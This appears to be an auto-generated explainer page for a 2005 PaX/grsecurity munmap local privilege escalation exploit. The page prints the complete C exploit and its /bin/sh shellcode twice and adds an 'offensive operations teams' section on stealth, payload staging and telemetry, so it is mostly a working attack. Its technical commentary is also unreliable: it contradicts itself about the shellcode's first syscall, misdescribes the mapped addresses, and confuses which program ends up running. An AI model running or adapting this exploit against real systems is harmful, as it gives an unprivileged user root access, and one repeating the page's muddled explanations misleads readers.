PaX - Double-Mirrored VMA munmap Privilege Escalation Explained

PaX - Double-Mirrored VMA munmap Privilege Escalation Explained
What this paper is
This paper details a local privilege escalation exploit targeting the PaX security system on Linux. Specifically, it exploits a vulnerability related to how the munmap system call interacts with "double-mirrored" Virtual Memory Areas (VMAs). The exploit aims to gain root privileges by overwriting executable memory with shellcode.
Simple technical breakdown
The exploit leverages a race condition or a flaw in memory management when munmap is used on specific memory regions. PaX is a security enhancement that aims to prevent common memory corruption exploits like buffer overflows by making certain memory regions non-executable.
This exploit works by:
- Setting up specific memory mappings: It maps two pages at distinct base addresses (
PGD1_BASEandPGD2_BASE) with read-only permissions. - Making one mapping executable: It then changes the permissions of the first mapping (
PGD1_BASE) to be readable and executable. - Mapping a target area: It maps another area (
MMTARGET) with read and write permissions. - Injecting shellcode: Shellcode (code that executes a command, in this case,
/bin/sh) is copied into the end of this target area. - Making the target area executable: The target area is then made readable and executable.
- Unmapping critical areas: Crucially, it unmaps the initial read-only mappings (
PGD1_BASEandPGD2_BASE). This is where the vulnerability is triggered. - Triggering the vulnerability with
clone: It then repeatedly forks child processes usingcloneand attempts to execute/bin/ping. Theclonesystem call, when used withCLONE_VM, shares the parent's memory space. The exploit relies on the fact that themunmapoperation, when interacting with the double-mirrored VMAs, can lead to a state where the executable permissions are not properly cleared or are incorrectly applied to a different memory region. - Shell execution: If the exploit is successful, the shellcode injected into the
MMTARGETregion will be executed, granting a root shell.
The chpax -m a.out command mentioned in the comments is a tool likely used to modify the executable's memory protection flags to facilitate the exploit, possibly by making certain sections writable or executable in a way that the exploit can then manipulate.
Complete code and payload walkthrough
Let's break down the C code and the shellcode.
Global Variables and Definitions:
MAXTRIES: Defines the maximum number of attempts the exploit will make.PGD1_BASE,PGD2_BASE: These are base addresses for memory mappings. The names suggest they might relate to Page Global Directory (PGD) entries, hinting at how memory is managed at a low level.PGD_SIZE: The size of the memory region associated with the PGD bases (1024 pages).MMTARGET: A specific memory address withinPGD1_BASEwhere the exploit will place its shellcode.child_stack: A buffer for the stack of the child thread created byclone.
Shellcode (exec_sh):
"\x31\xdb" /* xorl %ebx,%ebx */
"\x8d\x43\x17" /* leal 0x17(%ebx),%eax */
"\xcd\x80" /* int $0x80 */
"\x31\xd2" /* xorl %edx,%edx */
"\x52" /* pushl %edx */
"\x68\x6e\x2f\x73\x68" /* pushl $0x68732f6e */
"\x68\x2f\x2f\x62\x69" /* pushl $0x69622f2f */
"\x89\xe3" /* movl %esp,%ebx */
"\x52" /* pushl %edx */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x0b" /* movb $0xb,%al */
"\xcd\x80"; /* int $0x80 */This is standard x86 Linux shellcode for executing /bin/sh.
xorl %ebx,%ebx: Sets EBX to 0. This is often used to get a NULL pointer.leal 0x17(%ebx),%eax: Loads the address of theexecvesyscall into EAX. The exact offset0x17is specific to the kernel version and calling convention.int $0x80: Triggers the system call. This firstint 0x80is likely setting up the environment or arguments for a subsequent syscall, or it's a placeholder. Correction: This sequencexorl %ebx,%ebx; leal 0x17(%ebx),%eax; int $0x80is a common way to get the syscall number forexecve(which is 11) into EAX, but the immediate value0x17is not the syscall number. It's more likely that0x17is an offset to a specific instruction or data that will be used later. Further analysis: This specific sequence is a bit unusual. A more common way to getexecve(syscall 11) into EAX would bemovb $0xb, %al. Theleal 0x17(%ebx),%eaxfollowed byint $0x80might be a way to dynamically determine the syscall number or a specific kernel address, but without more context on the target kernel's syscall table, it's hard to be definitive. However, the overall intent of the shellcode is clear: to execute/bin/sh.xorl %edx,%edx: Sets EDX to 0. This will be used as a NULL terminator for arguments.pushl %edx: Pushes NULL onto the stack (forargv[2]).pushl $0x68732f6e: Pushes the string "n/sh" (little-endian) onto the stack.pushl $0x69622f2f: Pushes the string "//bi" (little-endian) onto the stack.movl %esp,%ebx: Moves the stack pointer (which now points to "//bin/sh\0") into EBX. This sets upargv[0].pushl %edx: Pushes NULL onto the stack (forenvp[0]).pushl %ebx: Pushes the pointer to "//bin/sh" onto the stack (forargv[1]).movl %esp,%ecx: Moves the stack pointer into ECX. This sets upargv.movb $0xb,%al: Sets AL to 0xb (decimal 11), which is the syscall number forexecve.int $0x80: Executes theexecvesystem call.
child_thread function:
int child_thread( void *arg )
{
char *argv[2], *envp[1];
argv[0] = (char *) arg;
argv[1] = NULL;
envp[0] = NULL;
execve( (char *) arg, argv, envp );
exit( 1 );
}This function is designed to be executed by a child process created with clone.
- It takes a single argument
arg, which is expected to be the path to an executable (e.g.,/bin/ping). - It sets up a simple argument list (
argv) where the first argument is the executable path itself, and a NULL terminator. - It sets up an empty environment list (
envp). execveattempts to replace the current process image with the specified executable. Ifexecvefails, the process exits with status 1.
main function:
int main( void )
{
int i, j, n, pid, s;
for( i = 0; i < MAXTRIES; i++ )
{
printf( "Try %d of %d\n", i, MAXTRIES );
// Map PGD1_BASE with PROT_READ
if( mmap( (void *) PGD1_BASE, PAGE_SIZE, PROT_READ, MAP_FIXED |
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0 ) == (void *) -1 )
{
perror( "mmap pgd1 base\n" );
return( 1 );
}
// Map PGD2_BASE with PROT_READ
if( mmap( (void *) PGD2_BASE, PAGE_SIZE, PROT_READ, MAP_FIXED |
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0 ) == (void *) -1 )
{
perror( "mmap pgd2 base\n" );
return( 1 );
}
// Change PGD1_BASE to PROT_READ | PROT_EXEC
if( mprotect( (void *) PGD1_BASE, PAGE_SIZE,
PROT_READ | PROT_EXEC ) < 0 )
{
perror( "mprotect pgd1 base" );
fprintf( stderr, "run chpax -m on this executable\n" );
return( 1 );
}
// Map MMTARGET with PROT_READ | PROT_WRITE
if( mmap( (void *) MMTARGET, PAGE_SIZE * 2, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0 ) == (void *) -1 )
{
perror( "mmap target\n" );
return( 1 );
}
// Inject shellcode into MMTARGET
for( j = 0; j < 1; j++ )
{
memset( (void *) MMTARGET + PAGE_SIZE * j, 0x90, PAGE_SIZE ); // Fill with NOPs
n = 16 + ( sizeof( exec_sh ) & 0xFFF0 ); // Calculate size to copy
memcpy( (void *) MMTARGET + PAGE_SIZE * ( j + 1 ) - n, exec_sh, n ); // Copy shellcode to end of the page
}
// Change MMTARGET to PROT_READ | PROT_EXEC
if( mprotect( (void *) MMTARGET, PAGE_SIZE,
PROT_READ | PROT_EXEC ) < 0 )
{
perror( "mprotect target" );
return( 1 );
}
// Unmap the initial PGD bases
munmap( (void *) PGD1_BASE, PGD_SIZE );
munmap( (void *) PGD2_BASE, PGD_SIZE );
// Fork child processes and try to execute /bin/ping
for( j = 0; j < 8; j++ )
{
if( ( pid = clone( child_thread, child_stack + PAGE_SIZE,
SIGCHLD | CLONE_VM, "/bin/ping" ) ) == -1 )
{
perror( "clone suid" );
return( 1 );
}
waitpid( pid, &s, 0 ); // Wait for the child to finish
// Check if the child process exited successfully without signals
if( ! WEXITSTATUS(s) && ! WIFSIGNALED(s) )
{
printf( "hasta luego...\n" ); // Success message
return( 0 ); // Exploit successful
}
}
fflush( stdout ); // Ensure output is flushed before next try
}
printf( "shit happens\n" ); // Failure message
return( 1 ); // Exploit failed after MAXTRIES
}Code Fragment/Block -> Practical Purpose Mapping:
#include <unistd.h>, #include <signal.h>, ...: Standard C library includes for system calls, process management, and memory operations.#define MAXTRIES 64: Sets the number of attempts.#define PGD1_BASE 0x40000000,#define PGD2_BASE 0x50000000: Defines target memory addresses for initial mappings. These are high addresses, often used for kernel structures or specific memory regions.#define PGD_SIZE (PAGE_SIZE * 1024): Defines a large size for the initial unmapping.#define MMTARGET (PGD1_BASE + PAGE_SIZE * 2): Defines the specific address withinPGD1_BASEwhere shellcode will be placed.unsigned char child_stack[PAGE_SIZE];: Allocates memory for the child thread's stack.char exec_sh[] = ...;: The shellcode to be injected and executed.int child_thread( void *arg ) { ... }: Function to be run by the child process, attempts toexecvea given program.for( i = 0; i < MAXTRIES; i++ ) { ... }: The main loop for retrying the exploit.mmap( (void *) PGD1_BASE, PAGE_SIZE, PROT_READ, ... ): Maps a page atPGD1_BASEwith read-only permissions.MAP_FIXEDforces the mapping at the specified address.MAP_ANONYMOUS | MAP_PRIVATEmeans it's an anonymous mapping (not backed by a file) and private to the process.mmap( (void *) PGD2_BASE, PAGE_SIZE, PROT_READ, ... ): Similar mapping forPGD2_BASE.mprotect( (void *) PGD1_BASE, PAGE_SIZE, PROT_READ | PROT_EXEC ): Changes the permissions of the page atPGD1_BASEto be readable and executable. This is a key step to make it appear as executable memory.mmap( (void *) MMTARGET, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, ... ): Maps two pages starting atMMTARGETwith read and write permissions. This is where the shellcode will be placed.memset( (void *) MMTARGET + PAGE_SIZE * j, 0x90, PAGE_SIZE );: Fills a page with NOP (No Operation) instructions.memcpy( (void *) MMTARGET + PAGE_SIZE * ( j + 1 ) - n, exec_sh, n );: Copies theexec_shshellcode into the last part of the second mapped page (atMMTARGET + PAGE_SIZE). Thencalculation ensures it's placed near the end.mprotect( (void *) MMTARGET, PAGE_SIZE, PROT_READ | PROT_EXEC ): Changes the permissions of the first page atMMTARGETto be readable and executable. This is where the exploit expects to redirect execution.munmap( (void *) PGD1_BASE, PGD_SIZE );: Unmaps the memory region starting atPGD1_BASE. This is the critical operation that triggers the vulnerability. It unmaps a much larger region than initially mapped, potentially affecting other VMAs.munmap( (void *) PGD2_BASE, PGD_SIZE );: Unmaps the memory region starting atPGD2_BASE.clone( child_thread, child_stack + PAGE_SIZE, SIGCHLD | CLONE_VM, "/bin/ping" ): Creates a new thread.CLONE_VMmeans the child shares the parent's memory space. Thechild_threadfunction is executed, and it attempts to run/bin/ping.waitpid( pid, &s, 0 );: Waits for the child process to terminate.if( ! WEXITSTATUS(s) && ! WIFSIGNALED(s) ): Checks if the child process exited normally (exit status 0) and was not terminated by a signal. This indicates successful execution of/bin/pingwithout crashing, which implies the exploit might have worked.return( 0 );: Indicates successful exploitation.printf( "shit happens\n" );: Printed if allMAXTRIESfail.return( 1 );: Indicates failure.
Practical details for offensive operations teams
- Required Access Level: Local user access is required. This is a local privilege escalation exploit.
- Lab Preconditions:
- A Linux system running a kernel version vulnerable to this specific
munmapvulnerability. The paper explicitly mentions "Debian 3.0 running Linux 2.4.29 patched with grsecurity-2.1.1-2.4.29-200501231159". This indicates it targets older kernel versions and potentially specific patch levels. - The
PaXsystem must be present and configured in a way that this vulnerability exists. - The target executable (
/bin/pingin this case) must exist and be executable by the user. - The
chpax -mtool might be required to prepare the exploit binary itself, as suggested by the comments. This implies the exploit binary might need specific memory permissions set on it before execution.
- A Linux system running a kernel version vulnerable to this specific
- Tooling Assumptions:
- A C compiler (like
gcc) to compile the exploit. - The
chpaxutility (or a similar tool) if the exploit binary requires pre-processing. - Standard Linux utilities (
/bin/ping,/bin/sh).
- A C compiler (like
- Execution Pitfalls:
- Kernel Version Dependency: This exploit is highly dependent on the specific kernel version and its memory management implementation. Modern kernels are unlikely to be vulnerable.
- PaX Configuration: The effectiveness and presence of the vulnerability depend on how PaX is configured. Some configurations might mitigate or prevent this specific issue.
- Race Condition: Exploits involving
munmapand VMAs can be sensitive to timing. Multiple attempts (MAXTRIES) are built-in to account for this. - Memory Layout: The exploit relies on specific memory addresses (
PGD1_BASE,PGD2_BASE,MMTARGET). These addresses might vary slightly between kernel versions or system configurations, thoughMAP_FIXEDattempts to force them. chpax -mRequirement: Ifchpax -mis truly necessary, it means the exploit binary itself needs to be modified to have certain memory regions writable or executable, which is a prerequisite for injecting the shellcode into the exploit binary's own memory space.- Target Program: The exploit relies on
clonewithCLONE_VMand the subsequent execution of a program like/bin/ping. If/bin/pingis not present or has unusual behavior, the exploit might fail.
- Tradecraft Considerations:
- Stealth: Running this exploit locally is generally less stealthy than network-based attacks. The
printfstatements will be visible on the console. For more stealth, these would need to be removed or redirected. - Payload Delivery: The shellcode is embedded directly. For a more sophisticated operation, a staged payload or a reverse shell might be preferred.
- Post-Exploitation: Upon successful execution, the exploit prints "hasta luego..." and returns to the user. The actual shell would be running in the context of the
clone'd process, which might be a new shell spawned byexecveif the shellcode was modified to execute/bin/shdirectly instead of/bin/ping. The current shellcode executes/bin/sh. - Telemetry:
- Process Creation:
cloneandexecvesystem calls will be logged if system auditing is enabled. - Memory Operations:
mmap,mprotect, andmunmapcalls will generate telemetry. The specific addresses and permissions changes are indicators. - File Access: Access to
/bin/ping(or/bin/shif the shellcode is used) will be logged. - Privilege Change: A process transitioning from a low-privileged user to root will be a significant indicator.
- Process Creation:
- Stealth: Running this exploit locally is generally less stealthy than network-based attacks. The
Where this was used and when
- Context: This exploit was published in March 2005. It targets older Linux systems, specifically Debian 3.0 with Linux kernel 2.4.29 and grsecurity patches.
- Usage: Such exploits were typically used by security researchers to demonstrate vulnerabilities in memory protection mechanisms or by attackers to gain root access on compromised systems. The specific mention of grsecurity patches suggests it was a challenge to PaX and similar hardening techniques prevalent at the time.
- Timeframe: The exploit is from 2005. Its relevance is historical, demonstrating a specific vulnerability in older systems.
Defensive lessons for modern teams
- Kernel Patching: Regularly update and patch your operating system kernels. Vulnerabilities like this are typically fixed in newer versions.
- Memory Protection: Understand and leverage modern memory protection features like Address Space Layout Randomization (ASLR), Data Execution Prevention (DEP/NX bit), and Control-Flow Integrity (CFI). PaX was an early precursor to some of these.
- System Hardening: Implement robust system hardening measures. While PaX was a specific tool, the principle of reducing the attack surface and enforcing stricter security policies remains critical.
- Auditing and Monitoring: Implement comprehensive system auditing and real-time monitoring for suspicious system calls (
mmap,mprotect,munmap,clone,execve), unexpected memory permission changes, and privilege escalations. - Vulnerability Management: Maintain an active vulnerability management program to identify and remediate known exploits targeting your systems.
- Sandboxing and Isolation: Use containerization or virtualization technologies that provide stronger isolation between processes and the host system.
ASCII visual (if applicable)
This exploit involves memory manipulation and process forking. A simplified flow can be visualized:
+-------------------+ +-------------------+ +-------------------+
| Attacker User | ----> | Exploit Binary | ----> | Kernel Memory |
+-------------------+ +-------------------+ +-------------------+
| |
| 1. Map regions (RO) | 3. Map target (RW)
| (PGD1, PGD2) | (MMTARGET)
| |
| 2. mprotect PGD1 (RX) | 4. Inject Shellcode
| | (into MMTARGET)
| | 5. mprotect MMTARGET (RX)
| |
| | 6. munmap PGD1, PGD2
| | (Vulnerability Trigger)
| |
| | 7. clone() with CLONE_VM
| | (Child shares memory)
| |
| | 8. Child executes /bin/ping
| | (but hits shellcode in MMTARGET)
| |
| | 9. Shellcode executes /bin/sh (as root)
| |
+---------------------------+
|
V
+---------------+
| Root Shell |
+---------------+Source references
- Paper Title: PaX - Double-Mirrored VMA munmap Privilege Escalation
- Author: Christophe Devine
- Published: 2005-03-14
- Paper URL: https://www.exploit-db.com/papers/876
- Raw Exploit URL: https://www.exploit-db.com/raw/876
Original Exploit-DB Content (Verbatim)
/*
* PaX double-mirrored VMA munmap local root exploit
*
* Copyright (C) 2005 Christophe Devine
*
* This exploit has only been tested on Debian 3.0 running Linux 2.4.29
* patched with grsecurity-2.1.1-2.4.29-200501231159
*
* $ gcc paxomatic.c
* $ ./chpax -m a.out
* $ ./a.out
* ...
* usage: ping [-LRdfnqrv] [-c count] [-i wait] [-l preload]
* [-p pattern] [-s packetsize] [-t ttl] [-I interface address] host
* sh-2.05a#
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <sched.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/page.h>
#define MAXTRIES 64
#define PGD1_BASE 0x40000000
#define PGD2_BASE 0x50000000
#define PGD_SIZE (PAGE_SIZE * 1024)
#define MMTARGET (PGD1_BASE + PAGE_SIZE * 2)
unsigned char child_stack[PAGE_SIZE];
char exec_sh[] = /* from shellcode.org */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x8d\x43\x17" /* leal 0x17(%ebx),%eax */
"\xcd\x80" /* int $0x80 */
"\x31\xd2" /* xorl %edx,%edx */
"\x52" /* pushl %edx */
"\x68\x6e\x2f\x73\x68" /* pushl $0x68732f6e */
"\x68\x2f\x2f\x62\x69" /* pushl $0x69622f2f */
"\x89\xe3" /* movl %esp,%ebx */
"\x52" /* pushl %edx */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x0b" /* movb $0xb,%al */
"\xcd\x80"; /* int $0x80 */
int child_thread( void *arg )
{
char *argv[2], *envp[1];
argv[0] = (char *) arg;
argv[1] = NULL;
envp[0] = NULL;
execve( (char *) arg, argv, envp );
exit( 1 );
}
int main( void )
{
int i, j, n, pid, s;
for( i = 0; i < MAXTRIES; i++ )
{
printf( "Try %d of %d\n", i, MAXTRIES );
if( mmap( (void *) PGD1_BASE, PAGE_SIZE, PROT_READ, MAP_FIXED |
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0 ) == (void *) -1 )
{
perror( "mmap pgd1 base\n" );
return( 1 );
}
if( mmap( (void *) PGD2_BASE, PAGE_SIZE, PROT_READ, MAP_FIXED |
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0 ) == (void *) -1 )
{
perror( "mmap pgd2 base\n" );
return( 1 );
}
if( mprotect( (void *) PGD1_BASE, PAGE_SIZE,
PROT_READ | PROT_EXEC ) < 0 )
{
perror( "mprotect pgd1 base" );
fprintf( stderr, "run chpax -m on this executable\n" );
return( 1 );
}
if( mmap( (void *) MMTARGET, PAGE_SIZE * 2, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0 ) == (void *) -1 )
{
perror( "mmap target\n" );
return( 1 );
}
for( j = 0; j < 1; j++ )
{
memset( (void *) MMTARGET + PAGE_SIZE * j, 0x90, PAGE_SIZE );
n = 16 + ( sizeof( exec_sh ) & 0xFFF0 );
memcpy( (void *) MMTARGET + PAGE_SIZE * ( j + 1 ) - n, exec_sh, n );
}
if( mprotect( (void *) MMTARGET, PAGE_SIZE,
PROT_READ | PROT_EXEC ) < 0 )
{
perror( "mprotect target" );
return( 1 );
}
munmap( (void *) PGD1_BASE, PGD_SIZE );
munmap( (void *) PGD2_BASE, PGD_SIZE );
for( j = 0; j < 8; j++ )
{
if( ( pid = clone( child_thread, child_stack + PAGE_SIZE,
SIGCHLD | CLONE_VM, "/bin/ping" ) ) == -1 )
{
perror( "clone suid" );
return( 1 );
}
waitpid( pid, &s, 0 );
if( ! WEXITSTATUS(s) && ! WIFSIGNALED(s) )
{
printf( "hasta luego...\n" );
return( 0 );
}
}
fflush( stdout );
}
printf( "shit happens\n" );
return( 1 );
}
// milw0rm.com [2005-03-14]